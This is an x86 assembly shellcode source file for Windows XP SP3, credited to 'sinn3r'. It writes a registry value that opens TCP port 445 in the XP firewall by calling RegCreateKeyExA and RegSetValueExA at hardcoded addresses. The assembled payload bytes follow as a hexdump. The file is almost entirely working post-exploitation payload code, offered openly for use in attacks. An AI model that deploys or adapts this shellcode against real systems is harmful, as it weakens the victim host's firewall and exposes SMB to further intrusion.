; Author: sinn3r (x90.sinner {a.t} gmail.c0m)
; Tested on Windows XP SP3
; Description:
; This shellcode will create a XP firewall rule to allow TCP traffic on port 445.
; Make sure ADVAPI32.dll is loaded.
[BITS 32]
global _start
_start:
;for the handle
xor edx, edx
mov edi, esp
mov dword [edi], edx
sub esp, 0x10 ;avoid handle being overwritten
;Prepare the key
push 0x00747369
push 0x4c5c7374
push 0x726f506e
push 0x65704f79
push 0x6c6c6162
push 0x6f6c475c
push 0x656c6966
push 0x6f725064
push 0x7261646e
push 0x6174535c
push 0x7963696c
push 0x6f706c6c
push 0x61776572
push 0x69465c73
push 0x72657465
push 0x6d617261
push 0x505c7373
push 0x65636341
push 0x64657261
push 0x68535c73
push 0x65636976
push 0x7265535c
push 0x7465536c
push 0x6f72746e
push 0x6f43746e
push 0x65727275
push 0x435c4d45
push 0x54535953
mov edx, esp
xor eax, eax
push eax ;pDisposion = NULL
push edi ;pHandle
push eax ;pSecurity = NULL
push 0x0f003f ;Access = KEY_ALL_ACCESS
push eax ;Options = REG_OPTION_NON_VOLATILE
push eax ;Class = NULL
push eax ;Reserved = NULL
push edx ;Subkey
push 0x80000002 ;hkey = HKEY_LOCAL_MACHINE
mov eax, 0x77DDE9E4 ;RegCreateKeyExA
call eax
;RegSetValue ValueName = 445:TCP
push 0x00504354
push 0x3a353434
mov edx, esp
;REgSEtValue buffer = 445:TCP:*:Enabled:test
push 0x00007473
push 0x65743a64
push 0x656c6261
push 0x6e453a2a
push 0x3a504354
push 0x3a353434
mov ecx, esp
xor eax, eax
inc eax
push 0x16 ;BufSize = 0x16
push ecx ;Buffer
push eax ;ValueType = REG-SZ
dec eax
push eax ;Reserved = 0
push edx ;ValueName
push dword [edi] ;hKey
mov eax, 0x77ddead7 ;RegSetValueExA
call eax
push dword [edi] ;hKey
mov eax, 0x77dd6c17 ;RegCloseKey
call eax
;shellcode:
;sinn3r@backtrack:~$ nasm -f bin addFirewallRule2.asm -o addFirewallRule2 |cat addFirewallRule2 |hexdump -C |grep -v 000000ff
;00000000 31 d2 89 e7 89 17 81 ec 10 00 00 00 68 69 73 74 |1...........hist|
;00000010 00 68 74 73 5c 4c 68 6e 50 6f 72 68 79 4f 70 65 |.hts\LhnPorhyOpe|
;00000020 68 62 61 6c 6c 68 5c 47 6c 6f 68 66 69 6c 65 68 |hballh\Glohfileh|
;00000030 64 50 72 6f 68 6e 64 61 72 68 5c 53 74 61 68 6c |dProhndarh\Stahl|
;00000040 69 63 79 68 6c 6c 70 6f 68 72 65 77 61 68 73 5c |icyhllpohrewahs\|
;00000050 46 69 68 65 74 65 72 68 61 72 61 6d 68 73 73 5c |Fiheterharamhss\|
;00000060 50 68 41 63 63 65 68 61 72 65 64 68 73 5c 53 68 |PhAcceharedhs\Sh|
;00000070 68 76 69 63 65 68 5c 53 65 72 68 6c 53 65 74 68 |hviceh\SerhlSeth|
;00000080 6e 74 72 6f 68 6e 74 43 6f 68 75 72 72 65 68 45 |ntrohntCohurrehE|
;00000090 4d 5c 43 68 53 59 53 54 89 e2 31 c0 50 57 50 68 |M\ChSYST..1.PWPh|
;000000a0 3f 00 0f 00 50 50 50 52 68 02 00 00 80 b8 e4 e9 |?...PPPRh.......|
;000000b0 dd 77 ff d0 68 54 43 50 00 68 34 34 35 3a 89 e2 |.w..hTCP.h445:..|
;000000c0 68 73 74 00 00 68 64 3a 74 65 68 61 62 6c 65 68 |hst..hd:tehableh|
;000000d0 2a 3a 45 6e 68 54 43 50 3a 68 34 34 35 3a 89 e1 |*:EnhTCP:h445:..|
;000000e0 31 c0 40 68 16 00 00 00 51 50 48 50 52 ff 37 b8 |1.@h....QPHPR.7.|
;000000f0 d7 ea dd 77 ff d0 ff 37 b8 17 6c dd 77 ff d0 |...w...7..l.w..|
